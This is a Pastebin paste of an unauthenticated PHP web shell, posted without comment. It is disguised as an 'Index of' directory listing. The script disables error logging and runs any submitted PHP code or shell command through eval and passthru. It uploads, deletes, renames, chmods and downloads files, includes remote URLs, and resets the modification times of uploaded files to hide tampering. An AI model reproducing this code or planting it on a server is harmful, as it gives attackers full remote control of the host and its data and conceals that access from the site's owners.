Advertisement
Guest User

Untitled

a guest
Mar 8th, 2014
3,156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.93 KB | None | 0 0
  1. <?php
  2. @ini_set('max_execution_time',0);
  3. @ini_set('error_reporting','E_NOTICE');
  4. @ini_set('display_errors','Off');
  5. @ini_set('log_errors',0);
  6. if (function_exists("date_default_timezone_set")){date_default_timezone_set('Etc/GMT-9');}
  7. define('datedt', 9*3600-date('Z'));
  8. if(!isset($_POST) && isset($HTTP_POST_VARS)) { $_POST = $HTTP_POST_VARS; }
  9. if(!isset($_FILES) && isset($HTTP_POST_FILES)) { $_FILES = $HTTP_POST_FILES; }
  10. if(!isset($_SERVER) && isset($HTTP_SERVER_VARS)) { $_SERVER = $HTTP_SERVER_VARS; }
  11. if (get_magic_quotes_gpc()) {
  12.     if (isset($_SERVER['REQUEST_METHOD']) && !strcmp($_SERVER['REQUEST_METHOD'],'POST')) {
  13.         foreach ($_POST as $key => $val) {
  14.             if (isset($val)) {
  15.                 $_POST[$key] = stripslashes($val);
  16.             }
  17.         }
  18.     }
  19. }
  20. function hspecialchars($v) {
  21.     return str_replace(array('&','<','>','"'),array('&amp;','&lt;','&gt;','&quot;'),$v);
  22. }
  23.  
  24. $upfiletype = (isset($_FILES['upfile']['type'])) ? $_FILES['upfile']['type'] : '';
  25. $upfilesize = (isset($_FILES['upfile']['size'])) ? $_FILES['upfile']['size'] : '';
  26. $upfilename = (isset($_FILES['upfile']['name'])) ? $_FILES['upfile']['name'] : '';
  27. $upfile = (isset($_FILES['upfile']['tmp_name'])) ? $_FILES['upfile']['tmp_name'] : '';
  28. $r_method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '';
  29. $q_string = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
  30. $p_dir = isset($_POST['dir']) ? $_POST['dir'] : '';
  31. $p_ud_dir = isset($_POST['ud_dir']) ? 1 : 0;
  32. $p_ddir = isset($_POST['ddir']) ? $_POST['ddir'] : '';
  33. $p_m = isset($_POST['m']) ? $_POST['m'] : '';
  34. $p_f = isset($_POST['f']) ? $_POST['f'] : '';
  35. $p_ud_sfile = isset($_POST['ud_sfile']) ? 1 : 0;
  36. $p_ud_nfile = isset($_POST['ud_nfile']) ? 1 : 0;
  37. $p_ud_eval = isset($_POST['ud_eval']) ? 1 : 0;
  38. $p_e_pt = isset($_POST['e_pt']) ? 1 : 0;
  39. $p_selectfile = !empty($_POST['selectfile']) ? $_POST['selectfile'] : '';
  40. $p_newfile = '';
  41. if(!empty($_POST['newfile'])){$p_newfile=$_POST['newfile'];}
  42. elseif($upfilename != ""){$p_newfile=basename($_FILES['upfile']['name']);}
  43. $file = '';
  44. $newfile = '';
  45. $p_eval = isset($_POST['eval']) ? $_POST['eval'] : '';
  46. $p_e_disp = isset($_POST['e_disp']) ? $_POST['e_disp'] : '';
  47. $p_per = isset($_POST['per']) ? intval($_POST['per'] ,8) : '';
  48. $p_perm = isset($_POST['perm']) ? intval($_POST['perm'] ,8): '';
  49. $p_fseekoffset = isset($_POST['fseekoffset']) ? $_POST['fseekoffset'] : '';
  50. $p_fseekwhence = isset($_POST['fseekwhence']) ? $_POST['fseekwhence'] : '';
  51. $p_readdata = isset($_POST['p_readdata']) ? sprintf("%s", $_POST['p_readdata']) : 0;
  52. $p_vmax = isset($_POST['vmax']) ? $_POST['vmax'] : '';
  53. $p_order = isset($_POST['order']) ? $_POST['order'] : '';
  54. $p_sort = isset($_POST['sort']) ? $_POST['sort'] : '';
  55. $s_software = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '';
  56. $s_server_name = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '';
  57. $s_server_port = isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : '';
  58.  
  59. if (!strcmp($r_method,'GET')) {
  60.     $query = urldecode($q_string);
  61.     $file = $query;
  62. }
  63.  
  64. $dir = strcmp($p_dir,'') ? $p_dir : '';
  65. if ($p_ud_dir) { $dir = urldecode($dir); }
  66. $udddir = strcmp($p_ddir,'') ? urldecode($p_ddir) : '';
  67.  
  68. if (strcmp($p_m,'')) {
  69.     if ($p_ud_sfile && strcmp($p_selectfile,'')) { $p_selectfile = urldecode($p_selectfile); }
  70.     if ($p_ud_nfile && strcmp($p_newfile,'')) { $p_newfile = urldecode($p_newfile); }
  71.     if (strcmp($p_selectfile,'') && !strcmp($udddir,$dir)) {
  72.         $file = $udddir . '/' . $p_selectfile;
  73.         $newfile = $udddir . '/' . $p_newfile;
  74.     } elseif (strcmp($p_selectfile,'') && strcmp($udddir,$dir)) {
  75.         $file = $dir . '/' . $p_selectfile;
  76.         $newfile = $dir . '/' . $p_newfile;
  77.     } elseif (!strcmp($udddir,$dir)) {
  78.         $file = $udddir . '/' . urldecode($p_f);
  79.         $newfile = $udddir . '/' . $p_newfile ;
  80.     } elseif (strcmp($udddir,$dir)) {
  81.         $file = $dir . '/' . urldecode($p_f);
  82.         $newfile = $dir . '/' . $p_newfile;
  83.     }
  84. }
  85. if (strcmp($p_eval,'')) {
  86.     if ($p_ud_eval) { $p_eval = urldecode($p_eval); }
  87.     if (strcmp($p_e_disp,'')) { echo '<' . $p_e_disp . '>'; }
  88.     if ($p_e_pt) {
  89.         foreach (explode("\x0d\x0a", $p_eval) as $key) {
  90.             eval(passthru($key));
  91.         }
  92.     } else { eval($p_eval); }
  93.     if (strcmp($p_e_disp,'')) { echo '</' . $p_e_disp . '>'; }
  94.     echo '<br>';
  95. }
  96. $limitb = 1024 * 1024 * 30;
  97. $message = "";
  98. if (strcmp($p_m,'') && !strcmp($p_m,'unlink_rmdir')) {
  99.     if (is_dir($file)) {
  100.         rmdir($file) or $message = "<b id=z>failed</b> ";
  101.         $message .= "<b id=o>rmdir " . hspecialchars($file) . "</b>\x0a";
  102.     } else {
  103.         unlink($file) or $message = "<b id=z>failed</b> ";
  104.         $message .= "<b id=o>unlink " . hspecialchars($file) . "</b>\x0a";
  105.     }
  106.     clearstatcache();
  107. } elseif (!strcmp($p_m,'chmod')) {
  108.     chmod($file,$p_per) or $message = "<b id=z>failed</b> ";
  109.     $message .= "<b id=p>chmod " . hspecialchars($file) . ',' . hspecialchars($p_per) . "</b>\x0a";
  110. } elseif (!strcmp($p_m,'upload')) {
  111.     $mtime=@filemtime($newfile) or 0;
  112.     if ($upfilesize > $limitb) { $message = "<b id=z>failed</b> "; }
  113.     else { move_uploaded_file($upfile,$newfile) or $message = "<b id=z>failed</b> "; }
  114.     $message .= "<b id=r>upload " . hspecialchars($upfilename) . ',' . hspecialchars($newfile) . "</b>\x0a";
  115. //  eval(passthru('chmod 777 ' . $newfile));
  116.     if($mtime){touch($newfile,$mtime,$mtime);}
  117. } elseif (!strcmp($p_m,'rename')) {
  118.     rename($file,$newfile) or $message = "<b id=z>failed</b> ";
  119.     $message .= "<b id=s>rename " . hspecialchars($file) . ',' . hspecialchars($newfile) . "</b>\x0a";
  120. } elseif (!strcmp($p_m,'mkdir')) {
  121.     mkdir($newfile,$p_perm) or $message = "<b id=z>failed</b> ";
  122.     $message .= "<b id=t>mkdir " . hspecialchars($newfile) . ',' . hspecialchars($p_perm) . "</b>\x0a";
  123. }
  124. if (strcmp($file,'') && is_readable($file) && is_file($file) && (!strcmp($p_m,'chdir_download') || !strcmp($file,$query))) {
  125.     $readdata=0;
  126.     $filename = preg_match("/([^\x2f\x5c]*)$/",$file,$matches) ? $matches[1] : basename($file);
  127.     header("Content-Type: application/octet-stream");
  128.     header("Content-Disposition: attachment; filename=\"" . $filename . "\"");
  129.     $fp = fopen ("$file", 'rb');
  130.     if (!strcmp($p_fseekoffset,'0') && !strcmp($p_fseekwhence,'0')) {
  131.         header('Content-Length: ' . sprintf("%s", filesize($file)));
  132.     } else {
  133.         $fseekp = 0;
  134.         if (!strcmp($p_fseekwhence,'0')) {
  135.             $fseekp = $p_fseekoffset;
  136.         } elseif (!strcmp($p_fseekwhence,'2')) {
  137.             $fseekp = sprintf("%s", filesize($file) + $p_fseekoffset);
  138.         }
  139.         fseek ($fp,$fseekp);
  140.     }
  141.     do {
  142.         $data = fread($fp, 4096);
  143.         $lendata=strlen($data);
  144.         if ($lendata == 0) { break; }
  145.         $sasize = sprintf("%s", $readdata+$lendata-$p_readdata);
  146.         if ($p_readdata && $sasize > 0) {
  147.             $data = substr($data, 0, $lendata-$sasize);
  148.             echo $data;
  149.             break;
  150.         }
  151.         echo $data;
  152.     } while(true);
  153.     fclose ($fp);
  154.     exit;
  155. } if (preg_match("#^[^:]+://.*$#",$file)) {
  156.     include($file);
  157.     exit;
  158. }
  159. echo <<<END
  160. <style>
  161. td{font-size:12px;}
  162. select,pre,form,input{display:inline;margin:0px;padding:0px;}
  163. a{text-decoration:none;}
  164. b{font-weight:normal;}
  165. #X{ime-mode:disabled;}
  166. #a{background:#ccffff}
  167. #b{background:#efefff}
  168. #c{background:#ffffcc}
  169. #d{background:#ccffcc}
  170. #e{background:#ccccff}
  171. #f{background:#ffcccc}
  172. #g{background:#cccccc}
  173. #o{width:100%;background:#fff6f6;color:red;border:1px solid #efe6e6;}
  174. #p{width:100%;background:#eff5ef;color:teal;border:1px solid #dfe5df;}
  175. #q{width:100%;background:#fff6ff;color:#ff1493;border:1px solid #efe6ef;}
  176. #r{width:100%;background:#f6fff6;color:green;border:1px solid #e6efe6;}
  177. #s{width:100%;background:#f0f0fc;color:blue;border:1px solid #e0e0ec;}
  178. #t{width:100%;background:#fffcf0;color:orange;border:1px solid #efece0;}
  179. #u{width:100%;background:#f6f6f6;color:gray;}
  180. #y{color:teal;}
  181. #z:hover{color:red;}
  182. #z:link{color:blue;}
  183. #z:visited{color:red;}
  184. #z:active{color:red;}
  185. </style>
  186. END;
  187. function permissions($perms) {
  188.     $perms=floatval($perms);
  189.     if (($perms & 0xC000) == 0xC000) {
  190.         $info = 's';
  191.     } elseif (($perms & 0xA000) == 0xA000) {
  192.         $info = 'l';
  193.     } elseif (($perms & 0x8000) == 0x8000) {
  194.         $info = '-';
  195.     } elseif (($perms & 0x6000) == 0x6000) {
  196.         $info = 'b';
  197.     } elseif (($perms & 0x4000) == 0x4000) {
  198.         $info = 'd';
  199.     } elseif (($perms & 0x2000) == 0x2000) {
  200.         $info = 'c';
  201.     } elseif (($perms & 0x1000) == 0x1000) {
  202.         $info = 'p';
  203.     } else {
  204.         $info = 'u';
  205.     }
  206.  
  207.     if($perms & 0x100){ $info .= 'r'; }
  208.     else{ $info .= '-'; }
  209.     if($perms & 0x80){ $info .= 'w'; }
  210.     else{ $info .= '-'; }
  211.     if($perms & 0x40){
  212.         if($perms & 0x800){
  213.             $info .= 's';
  214.         }else{
  215.             $info .= 'x';
  216.         }
  217.     }else{
  218.         if($perms & 0x800){
  219.             $info .= 'S';
  220.         }else{
  221.             $info .= '-';
  222.         }
  223.     }
  224.     if($perms & 0x20){ $info .= 'r'; }
  225.     else{ $info .= '-'; }
  226.     if($perms & 0x10){ $info .= 'w'; }
  227.     else{ $info .= '-'; }
  228.     if($perms & 0x8){
  229.         if($perms & 0x400){
  230.             $info .= 's';
  231.         }else{
  232.             $info .= 'x';
  233.         }
  234.     }else{
  235.         if($perms & 0x400){
  236.             $info .= 'S';
  237.         }else{
  238.             $info .= '-';
  239.         }
  240.     }
  241.  
  242.     if($perms & 0x4){ $info .= 'r'; }
  243.     else{ $info .= '-'; }
  244.     if($perms & 0x2){ $info .= 'w'; }
  245.     else{ $info .= '-'; }
  246.     if($perms & 0x1){
  247.         if($perms & 0x200){
  248.             $info .= 't';
  249.         }else{
  250.             $info .= 'x';
  251.         }
  252.     }else{
  253.         if($perms & 0x200){
  254.             $info .= 'T';
  255.         }else{
  256.             $info .= '-';
  257.         }
  258.     }
  259.  
  260.     return $info;
  261. }
  262. function clengthset($v) {
  263.     return strlen($v) > 64 ? '..' . substr($v,-62,62) : $v;
  264. }
  265. function getid($file) {
  266.     if (!function_exists('posix_getpwuid')) { return fileowner($file).'/'.filegroup($file); }
  267.     $arru = posix_getpwuid(fileowner($file));
  268.     $arrg = posix_getgrgid(filegroup($file));
  269.     $uid = strcmp($arru['uid'],'') ? $arru['uid'] : 0;
  270.     $uname = strcmp($arru['name'],'') ? $arru['name'] : "";
  271.     $gid = strcmp($arrg['gid'],'') ? $arrg['gid'] : 0;
  272.     $gname = strcmp($arrg['name'],'') ? $arrg['name'] : "";
  273.     return "$uid/$gid $uname/$gname";
  274. }
  275.  
  276. $dir = is_dir($file) ? $file : $dir;
  277. $dir = is_dir($dir) ? $dir : $udddir;
  278. $dir = is_dir($dir) ? $dir : '.';
  279. $dir = realpath($dir);
  280. $c_ud_dir = '';
  281. if (preg_match("/[^\x20-\x7E]/",$dir)) { $p_ud_dir=1; }
  282. if ($p_ud_dir) { $dispdir = urlencode($dir); $dispdir2 = hspecialchars($dir); $c_ud_dir = ' checked'; }
  283. else { $dispdir = $dispdir2 = hspecialchars($dir); }
  284. $ddir = urlencode($dir);
  285. $vmax = preg_match("/^[0-9]+$/",$p_vmax) ? $p_vmax : 100;
  286. $order = preg_match("/^[0-9]+$/",$p_order) ? $p_order : 1;
  287. $sorts = !strcmp($p_sort,'sort') ? ' selected' : '';
  288. $rsorts = !strcmp($p_sort,'rsort') ? ' selected' : '';
  289. $natsorts = !strcmp($p_sort,'natsort') ? ' selected' : '';
  290. $c_sort_r = '';
  291. $p_sort_r = 0;
  292. if(isset($_POST['sort_r'])){
  293.     $c_sort_r=' checked';
  294.     $p_sort_r = 1;
  295. }
  296.  
  297. echo <<<END
  298. <title>Index of $dispdir2</title><body bgcolor=white text=black link=black vlink=gray alink=gray><span id=b>$dispdir2</span><br><pre id=b>$message</pre><br><a href=#u name=tx>#under</a>
  299. <form action=? method=POST enctype="multipart/form-data"><input type=hidden name=MAX_FILE_SIZE value={$limitb}>
  300. <table frame=border border=1 bordercolor=blue bordercolordark=#666699 bordercolorlight=#9999ff bgcolor=#eeeeee cellspacing=0 cellpadding=1>
  301. END;
  302. $dirHandler = opendir($dir);
  303. while ($r=readdir($dirHandler)) { $files[] = $r; }
  304. if (!strcmp($p_sort,'sort')) { sort($files); }
  305. elseif (!strcmp($p_sort,'rsort')) { rsort($files); }
  306. elseif (!strcmp($p_sort,'natsort')) { natsort($files); }
  307. if($p_sort_r){$files=array_reverse($files);}
  308. $filen = sizeof($files);
  309. $starr = $order && $order-1 <= $filen-1 ? $order-1 : $filen-1;
  310. $enarr = $order-1+$vmax && $order-1+$vmax-1 <= $filen-1 ? $order-1+$vmax-1 : $filen-1;
  311. $starr++; $enarr++;
  312. echo "<tr><td id=a>file:{$filen}</td><td colspan=7>{$starr} to {$enarr}</td></tr>";
  313. $starr--; $enarr--;
  314. echo <<<END
  315. <tr>
  316. <td><input type=radio checked name=f value=""></td><td id=a>per</td><td id=b>name</td><td id=c>size</td><td id=d>ctime</td><td id=e>mtime</td><td id=f>atime</td><td id=g>uid/gid</td>
  317. </tr>
  318. END;
  319.  
  320. $i=1;
  321. while($i <= $starr){++$i; next($files); }
  322. for ($i=0; $i<=$enarr-$starr; $i++) {
  323.     $file = current($files);
  324.     $ugid=getid("$dir/$file");
  325.     if (preg_match("/^([0-9]+\/[0-9]+) ([^\n]*)$/",$ugid,$matches)) { $ugid=$matches[1]; $ugname = $matches[2]; }
  326.     else { $ugname = ""; }
  327.     echo "<tr><td>" . sprintf("%s",key($files)+1) . "<input type=radio name=f value=\"".urlencode($file)."\"></td><td id=";
  328.     if (is_dir($dir."/".$file)) { echo "d>"; }
  329.     else { echo "a>"; }
  330.     echo permissions(fileperms($dir."/".$file));
  331.     echo "</td><td id=b>";
  332.     if (is_dir($dir."/".$file)) { echo "<a href=\"?" . urlencode(realpath("$dir/$file")) . "\" id=z><pre>" . hspecialchars(clengthset($file)) . "</pre></a>"; }
  333.     else { echo "<a href=\"?" . urlencode(realpath("$dir/$file")) . "\"><pre>" . hspecialchars(clengthset($file)) . "</pre></a>"; }
  334.     echo "</td><td id=c>" . sprintf("%s",filesize($dir."/".$file)) .
  335.         "</td><td id=d>" . date("m/d/y H:i:s", filectime("$dir/$file")+datedt) .
  336.         "</td><td id=e>" . date("m/d/y H:i:s", filemtime("$dir/$file")+datedt) .
  337.         "</td><td id=f>" . date("m/d/y H:i:s", fileatime("$dir/$file")+datedt) .
  338.         "</td><td id=g";
  339.     if (strcmp($ugname,'')) { echo " title=\"" . hspecialchars($ugname) . "\""; }
  340.     echo ">". hspecialchars($ugid) .
  341.         "</td></tr>\x0a";
  342.     next($files);
  343. }
  344. echo <<<END
  345. </table><a name=u href=#tx>#top</a>
  346. <pre id=u><b id=o><input type=radio name=m value=unlink_rmdir> unlink/rmdir</b>
  347. <b id=p><input type=radio name=m value=chmod> chmod (<input size=6 name=per value=0644 id=X>)</b>
  348. <b id=q><input type=radio name=m value=chdir_download checked> chdir/download (fseek offset<input size=12 name=fseekoffset value=0 id=X> whence<select name=fseekwhence><option value=0 selected>SEEK_SET<option value=2>SEEK_END</select>) length<input size=12 name=p_readdata value="0"></b>
  349. <b id=r><input type=radio name=m value=upload> upload</b>
  350. <b id=s><input type=radio name=m value=rename> rename</b>
  351. <b id=t><input type=radio name=m value=mkdir> mkdir (<input size=6 name=perm value=0755 id=X>)</b>
  352.  
  353. fileview    order <input id=X size=12 value={$order} name=order> viewmax <input id=X size=12 value={$vmax} name=vmax> sortType <select name=sort><option value=""><option value=sort{$sorts}>sort<option value=rsort{$rsorts}>rsort<option value=natsort{$natsorts}>natsort</select> reverce <input type=checkbox{$c_sort_r} name=sort_r value=1>
  354. dir         <input size=100 name=dir value="{$dispdir}"> d_urldec. <input type=checkbox{$c_ud_dir} name=ud_dir value=1>
  355. selectfile  <input size=100 name=selectfile value=""> s_urldec. <input type=checkbox name=ud_sfile value=1>
  356. newfile     <input size=100 name=newfile value=""> n_urldec. <input type=checkbox name=ud_nfile value=1>
  357. upfile      <input size=100 type=file name=upfile>
  358. eval        <textarea rows=4 cols=70 name=eval></textarea> e_urldec. <input type=checkbox name=ud_eval value=1> <select name=e_disp><option value="">none<option value=xmp selected>xmp<option value=pre>pre</select> passthru <input type=checkbox checked name=e_pt value=1>
  359. <input type=submit> <input type=reset><input type=hidden name=ddir value="{$ddir}">
  360. </pre>
  361. </form>
  362. END;
  363. echo '<address>phpversion ' . hspecialchars(phpversion()) . '</address>';
  364. echo '<address>' . hspecialchars($s_software) . " " . hspecialchars($s_server_name) . " Port " . hspecialchars($s_server_port) . "</address>";
  365. exit;?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement